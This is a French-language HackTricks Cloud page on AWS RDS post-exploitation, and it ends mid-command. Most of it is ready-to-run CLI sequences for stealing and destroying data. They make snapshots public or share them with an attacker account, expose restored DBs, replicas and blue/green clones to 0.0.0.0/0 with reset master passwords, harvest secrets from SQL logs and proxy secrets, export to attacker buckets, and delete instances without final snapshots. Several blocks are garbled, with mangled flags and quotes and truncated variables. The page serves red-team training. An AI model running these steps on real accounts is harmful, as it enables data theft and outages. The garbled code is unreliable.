AWS - RDS Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
RDS
Pour plus dâinformations, consultez :
AWS - Relational Database (RDS) Enum
rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance
Si lâattaquant dispose de permissions suffisantes, il pourrait rendre une DB accessible publiquement en crĂ©ant un snapshot de la DB, puis restaurer une DB accessible publiquement Ă partir du snapshot.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:StopDBCluster & rds:StopDBInstance
Un attaquant disposant de rds:StopDBCluster ou rds:StopDBInstance peut forcer lâarrĂȘt immĂ©diat dâune instance RDS ou dâun cluster entier, provoquant une indisponibilitĂ© de la base de donnĂ©es, des connexions rompues et lâinterruption des processus qui dĂ©pendent de la base de donnĂ©es.
Pour arrĂȘter une seule instance de DB (exemple) :
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
Pour arrĂȘter un cluster DB entier (exemple) :
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
rds:Modify*
Un attaquant disposant des permissions rds:Modify* peut modifier des configurations critiques et des ressources auxiliaires (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) sans toucher directement lâinstance ou le cluster. Des changements tels que lâajustement des connection/time-out parameters, la modification dâun proxy endpoint, le changement des certificates de confiance, la modification de la capacitĂ© logique ou la reconfiguration dâun subnet group peuvent affaiblir la sĂ©curitĂ© (ouvrir de nouveaux chemins dâaccĂšs), casser le routage et le load-balancing, invalider les replication/backup policies, et gĂ©nĂ©ralement dĂ©grader la disponibilitĂ© ou la capacitĂ© de rĂ©cupĂ©ration. Ces modifications peuvent aussi faciliter une data exfiltration indirecte ou gĂȘner une rĂ©cupĂ©ration ordonnĂ©e de la base de donnĂ©es aprĂšs un incident.
Déplacer ou modifier les subnets assignés à un RDS subnet group :
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
Modifier les paramĂštres bas niveau du moteur dans un cluster parameter group:
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
rds:Restore*
Un attaquant disposant des autorisations rds:Restore* peut restaurer des bases de donnĂ©es entiĂšres Ă partir de snapshots, de sauvegardes automatisĂ©es, de point-in-time recovery (PITR), ou de fichiers stockĂ©s dans S3, en crĂ©ant de nouvelles instances ou clusters peuplĂ©s avec les donnĂ©es du point sĂ©lectionnĂ©. Ces opĂ©rations nâĂ©crasent pas les ressources originales â elles crĂ©ent de nouveaux objets contenant les donnĂ©es historiques â ce qui permet Ă un attaquant dâobtenir des copies complĂštes et fonctionnelles de la base de donnĂ©es (issues de points temporels passĂ©s ou de fichiers S3 externes) et de les utiliser pour exfiltrer des donnĂ©es, manipuler des enregistrements historiques ou reconstruire des Ă©tats antĂ©rieurs.
Restaurer une instance DB à un point précis dans le temps :
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
rds:Delete*
Un attaquant auquel on a accordé rds:Delete* peut supprimer des ressources RDS, supprimant des instances DB, des clusters, des snapshots, des sauvegardes automatisées, des groupes de sous-réseaux, des groupes de paramÚtres/options et des artefacts associés, provoquant une interruption de service immédiate, une perte de données, la destruction des points de récupération et la perte de preuves médico-légales.
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot
# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot
Un attaquant disposant de ces permissions pourrait crĂ©er un snapshot dâune DB et le rendre publiquement accessible. Ensuite, il pourrait simplement crĂ©er dans son propre compte une DB Ă partir de ce snapshot.
Si lâattaquant ne possĂšde pas la permission rds:CreateDBSnapshot, il pourrait quand mĂȘme rendre dâautres snapshots créés publics.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
Un attaquant disposant de la permission rds:DownloadDBLogFilePortion peut tĂ©lĂ©charger des portions des fichiers journaux dâune instance RDS. Si des donnĂ©es sensibles ou des identifiants dâaccĂšs sont enregistrĂ©s accidentellement, lâattaquant pourrait potentiellement utiliser ces informations pour Ă©lever ses privilĂšges ou effectuer des actions non autorisĂ©es.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Impact potentiel: AccÚs à des informations sensibles ou actions non autorisées en utilisant leaked credentials.
rds:DeleteDBInstance
Un attaquant disposant de ces autorisations peut DoS existing RDS instances.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Potential impact: Suppression des instances RDS existantes et perte potentielle de données.
rds:StartExportTask
Note
TODO: Tester
Un attaquant disposant de cette permission peut exporter un snapshot dâune instance RDS vers un bucket S3. Si lâattaquant contrĂŽle le bucket S3 de destination, il peut potentiellement accĂ©der Ă des donnĂ©es sensibles contenues dans le snapshot exportĂ©.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Impact potentiel: AccÚs à des données sensibles dans le snapshot exporté.
Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)
Abusez de la rĂ©plication des sauvegardes automatisĂ©es inter-rĂ©gion pour dupliquer discrĂštement les sauvegardes automatisĂ©es dâune instance RDS dans une autre rĂ©gion AWS et y restaurer la base. Lâattaquant peut ensuite rendre la DB restaurĂ©e accessible publiquement et rĂ©initialiser le mot de passe master pour accĂ©der aux donnĂ©es hors bande dans une rĂ©gion que les dĂ©fenseurs pourraient ne pas surveiller.
Permissions requises (minimum) :
rds:StartDBInstanceAutomatedBackupsReplicationdans la région de destinationrds:DescribeDBInstanceAutomatedBackupsdans la région de destinationrds:RestoreDBInstanceToPointInTimedans la région de destinationrds:ModifyDBInstancedans la région de destinationrds:StopDBInstanceAutomatedBackupsReplication(nettoyage optionnel)ec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(pour exposer la DB restaurée)
Impact : Persistance et exfiltration de donnĂ©es en restaurant une copie des donnĂ©es de production dans une autre rĂ©gion et en lâexposant publiquement avec des identifiants contrĂŽlĂ©s par lâattaquant.
CLI de bout en bout (remplacez les espaces réservés)
```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication
âregion <DEST_REGION>
âsource-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
âsource-region <SOURCE_REGION>
âbackup-retention-period 7
3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups
âregion <DEST_REGION>
âquery âDBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]â
âoutput table
Proceed when Status is âreplicatingâ or âactiveâ and note the DBInstanceAutomatedBackupsArn
4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time
âregion <DEST_REGION>
âsource-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
âtarget-db-instance-identifier <TARGET_DB_ID>
âuse-latest-restorable-time
âdb-instance-class db.t3.micro
aws rds wait db-instance-available âregion <DEST_REGION> âdb-instance-identifier <TARGET_DB_ID>
5) Make public and reset credentials in DEST
5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group âregion <DEST_REGION>
âgroup-name open-rds-
âquery GroupId âoutput text)
aws ec2 authorize-security-group-ingress âregion <DEST_REGION>
âgroup-id â$OPEN_SG_IDâ
âip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=â[{CidrIp=0.0.0.0/0}]â
5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance âregion <DEST_REGION>
âdb-instance-identifier <TARGET_DB_ID>
âpublicly-accessible
âvpc-security-group-ids â$OPEN_SG_IDâ
âapply-immediately
aws rds wait db-instance-available âregion <DEST_REGION> âdb-instance-identifier <TARGET_DB_ID>
5c) Reset the master password
aws rds modify-db-instance âregion <DEST_REGION>
âdb-instance-identifier <TARGET_DB_ID>
âmaster-user-password â<NEW_STRONG_PASSWORD>â
âapply-immediately
aws rds wait db-instance-available âregion <DEST_REGION> âdb-instance-identifier <TARGET_DB_ID>
6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances âregion <DEST_REGION>
âdb-instance-identifier <TARGET_DB_ID>
âquery âDBInstances[0].Endpoint.Addressâ âoutput text)
mysql -h â$ENDPOINTâ -u <MASTER_USERNAME> -pâ<NEW_STRONG_PASSWORD>â -e âSHOW DATABASES;â
7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication
âregion <DEST_REGION>
âsource-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
</details>
### Activer la journalisation SQL complĂšte via DB parameter groups et exfiltrer via RDS log APIs
Exploiter `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exĂ©cutĂ©es par les applications (aucun identifiant du moteur DB requis). Activer la journalisation SQL du moteur et rĂ©cupĂ©rer les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requĂȘtes pouvant contenir des secrets/PII/JWTs.
Permissions requises (minimum) :
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (uniquement pour attacher un parameter group personnalisé si l'instance utilise celui par défaut)
- `rds:RebootDBInstance` (pour les paramÚtres nécessitant un redémarrage, par ex., PostgreSQL)
Ătapes
1) Recon de la cible et du parameter group actuel
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
- Assurez-vous quâun DB parameter group personnalisĂ© est attachĂ© (impossible de modifier le paramĂštre par dĂ©faut)
- Si lâinstance utilise dĂ©jĂ un DB parameter group personnalisĂ©, rĂ©utilisez son nom Ă lâĂ©tape suivante.
- Sinon, créez et attachez-en un correspondant à la famille du moteur :
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
- Activer la journalisation SQL détaillée
- MySQL engines (immédiat / sans redémarrage):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
- Moteurs PostgreSQL (redémarrage nécessaire) :
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
- Laisser la charge de travail sâexĂ©cuter (ou gĂ©nĂ©rer des requĂȘtes). Les statements seront consignĂ©s dans les fichiers de logs du moteur
- MySQL:
general/mysql-general.log - PostgreSQL:
postgresql.log
- Découvrir et télécharger les logs (aucun identifiant DB requis)
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
- Analyser hors ligne pour des données sensibles
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
Exemple de preuve (caviardée) :
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
Nettoyage
- Rétablir les paramÚtres par défaut et redémarrer si nécessaire :
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
Impact : AccĂšs aux donnĂ©es post-exploitation en capturant toutes les instructions SQL de lâapplication via les APIs AWS (no DB creds), potentially leaking secrets, JWTs, and PII.
rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance
Exploiter les read replicas RDS pour obtenir un accĂšs en lecture hors-bande sans toucher aux credentials de lâinstance primary. Un attaquant peut crĂ©er une read replica Ă partir dâune instance de production, rĂ©initialiser le master password de la replica (cela ne change pas celui du primary), et Ă©ventuellement exposer la replica publiquement pour exfiltrate data.
Permissions requises (minimum) :
rds:DescribeDBInstancesrds:CreateDBInstanceReadReplicards:ModifyDBInstanceec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(si exposition publique)
Impact : AccĂšs en lecture seule aux donnĂ©es de production via une replica avec des credentials contrĂŽlĂ©s par lâattaquant ; probabilitĂ© de dĂ©tection plus faible car le primary reste intact et la replication continue.
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
Exemple de preuves (MySQL) :
- Statut de la DB répliquée :
available, réplication en lecture :replicating - Connexion réussie avec le nouveau mot de passe et
@@read_only=1confirmant lâaccĂšs en lecture seule Ă la rĂ©plique.
rds:CreateBlueGreenDeployment, rds:ModifyDBInstance
Exploiter RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement rĂ©pliquĂ© en lecture seule. Puis rĂ©initialiser les identifiants du master green pour accĂ©der aux donnĂ©es sans toucher Ă lâinstance blue (prod). Câest plus discret que le snapshot sharing et contourne souvent la surveillance qui ne se concentre que sur la source.
# 1) Recon â find eligible source (nonâAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is readâonly)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup â remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
Impact : AccĂšs en lecture seule mais accĂšs complet aux donnĂ©es dâun clone de production quasi temps rĂ©el sans modifier lâinstance de production. Utile pour lâextraction discrĂšte de donnĂ©es et lâanalyse hors ligne.
SQL hors-bande via RDS Data API en activant lâHTTP endpoint + rĂ©initialisation du mot de passe principal
Abusez dâAurora pour activer lâHTTP endpoint du RDS Data API sur un cluster cible, rĂ©initialiser le mot de passe principal vers une valeur que vous contrĂŽlez, et exĂ©cuter du SQL via HTTPS (aucun chemin rĂ©seau VPC requis). Fonctionne sur les moteurs Aurora qui prennent en charge le Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; certaines versions dâAurora PostgreSQL/MySQL).
Permissions (minimales):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Impact : Contourne la segmentation réseau et exfiltre des données via les APIs AWS sans connectivité VPC directe vers la DB.
CLI de bout en bout (exemple Aurora MySQL)
```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID=2) Enable Data API HTTP endpoint on the cluster
Either of the following (depending on API/engine support):
aws rds enable-http-endpoint âregion $REGION âresource-arn â$CLUSTER_ARNâ
or
aws rds modify-db-cluster âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âenable-http-endpoint âapply-immediately
Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available âregion $REGION âdb-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âquery âDBClusters[0].HttpEndpointEnabledâ âoutput text
3) Reset master password to attacker-controlled value
aws rds modify-db-cluster âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âmaster-user-password âSup3rStr0ng!1â âapply-immediately
Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available âregion $REGION âdb-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âquery âDBClusters[0].PendingModifiedValues.MasterUserPasswordâ âoutput text)
[[ â$Pâ == âNoneâ || â$Pâ == ânullâ ]] && break
sleep 10
done
4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret âregion $REGION âname rdsdata/demo-$CLUSTER_ID
âsecret-string â{âusernameâ:âadminâ,âpasswordâ:âSup3rStr0ng!1â}â
âquery ARN âoutput text)
5) Prove out-of-band SQL via HTTPS using rds-data
(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase mysql âsql âcreate database if not exists demo;â
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase demo âsql âcreate table if not exists pii(note text);â
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase demo âsql âinsert into pii(note) values (âtoken=SECRET_JWTâ);â
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase demo âsql âselect current_user(), now(), (select count(*) from pii) as row_count;â
âformat-records-as JSON
</details>
Remarques :
- Si les requĂȘtes SQL multi-instructions sont rejetĂ©es par rds-data, lancez des appels execute-statement sĂ©parĂ©s.
- Pour les moteurs oĂč modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn.
- Assurez-vous que le moteur/version prend réellement en charge la Data API ; sinon HttpEndpointEnabled restera False.
### Récupérer les identifiants DB via les secrets d'authentification RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Abusez la configuration RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification cÎté backend, puis lisez le secret pour obtenir les identifiants de la base de données. De nombreux environnements accordent largement `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal limitées peuvent également permettre `kms:Decrypt`.
Permissions requises (minimum) :
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` sur le SecretArn référencé
- Optionnel si le secret utilise une CMK : `kms:Decrypt` sur cette clé
Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accÚs direct à la DB ou des mouvements latéraux supplémentaires.
Ătapes
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
Laboratoire (minimal pour reproduire)
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
Nettoyage (lab)
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
Stealthy continuous exfiltration via Aurora zeroâETL to Amazon Redshift (rds:CreateIntegration)
Exploiter lâintĂ©gration zeroâETL dâAurora PostgreSQL pour rĂ©pliquer en continu les donnĂ©es de production dans un namespace Redshift Serverless que vous contrĂŽlez. Avec une resource policy Redshift permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour un ARN de cluster Aurora spĂ©cifique, un attaquant peut Ă©tablir une copie des donnĂ©es quasi tempsârĂ©el sans DB creds, snapshots ni exposition rĂ©seau.
Permissions nécessaires (minimum) :
rds:CreateIntegration,rds:DescribeIntegrations,rds:DeleteIntegrationredshift:PutResourcePolicy,redshift:DescribeInboundIntegrations,redshift:DescribeIntegrationsredshift-data:ExecuteStatement/GetStatementResult/ListDatabases(to query)rds-data:ExecuteStatement(optional; to seed data if needed)
Testé sur : us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Créer un namespace Redshift Serverless + workgroup
```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```2) Configurer la politique de ressources de Redshift pour autoriser la source Aurora
```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN=3) Créer un cluster Aurora PostgreSQL (activer Data API et réplication logique)
```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zeroâETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier 